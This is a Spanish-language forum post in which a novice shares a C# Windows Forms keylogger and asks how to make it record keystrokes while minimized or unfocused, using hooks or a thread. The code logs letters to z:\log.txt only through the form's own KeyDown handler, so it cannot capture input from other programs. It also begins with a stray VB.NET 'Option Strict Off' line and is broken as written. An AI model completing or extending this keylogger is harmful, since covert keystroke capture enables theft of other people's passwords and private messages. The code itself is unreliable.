Hola, estoy intentando crear un codigo simple de un keylogger, lo malo que solo funciona si esta en focus la pantalla y como soy novato y no se usar muy bien el hook queria saber si se puede ejecutar teniendolo minimizado o sin focus, tambien he leido que se puede hacer con un thread si alguien podria enseñarme algun ejemplo... el codigo que tengo de momento es esto:
Gracias de antemano
Código [Seleccionar]
Option Strict Off
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
namespace Key
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void Form1_KeyDown(object sender, KeyEventArgs e)
{
if (this.WindowState == FormWindowState.Minimized)
{
StreamWriter sw = new StreamWriter(@"z:\log.txt", true);
if (e.KeyData == Keys.A)
{
sw.Write("A");
}
else if (e.KeyData == Keys.B)
{
sw.Write("B");
}
else if (e.KeyData == Keys.C)
{
sw.Write("C");
}
else if (e.KeyData == Keys.D)
{
sw.Write("D");
}
else if (e.KeyData == Keys.E)
{
sw.Write("E");
}
else if (e.KeyData == Keys.F)
{
sw.Write("F");
}
else if (e.KeyData == Keys.G)
{
sw.Write("G");
}
else if (e.KeyData == Keys.H)
{
sw.Write("H");
}
else if (e.KeyData == Keys.I)
{
sw.Write("I");
}
else if (e.KeyData == Keys.J)
{
sw.Write("J");
}
else if (e.KeyData == Keys.K)
{
sw.Write("K");
}
else if (e.KeyData == Keys.L)
{
sw.Write("L");
}
else if (e.KeyData == Keys.M)
{
sw.Write("M");
}
else if (e.KeyData == Keys.N)
{
sw.Write("N");
}
else if (e.KeyData == Keys.O)
{
sw.Write("O");
}
else if (e.KeyData == Keys.P)
{
sw.Write("P");
}
else if (e.KeyData == Keys.Q)
{
sw.Write("Q");
}
else if (e.KeyData == Keys.R)
{
sw.Write("R");
}
else if (e.KeyData == Keys.S)
{
sw.Write("S");
}
else if (e.KeyData == Keys.T)
{
sw.Write("T");
}
else if (e.KeyData == Keys.U)
{
sw.Write("U");
}
else if (e.KeyData == Keys.V)
{
sw.Write("V");
}
else if (e.KeyData == Keys.W)
{
sw.Write("W");
}
else if (e.KeyData == Keys.X)
{
sw.Write("X");
}
else if (e.KeyData == Keys.Y)
{
sw.Write("Y");
}
else if (e.KeyData == Keys.Z)
{
sw.Write("Z");
}
else if (e.KeyData == Keys.Space)
{
sw.Write(" ");
}
sw.Close();
}
}
}
}
Gracias de antemano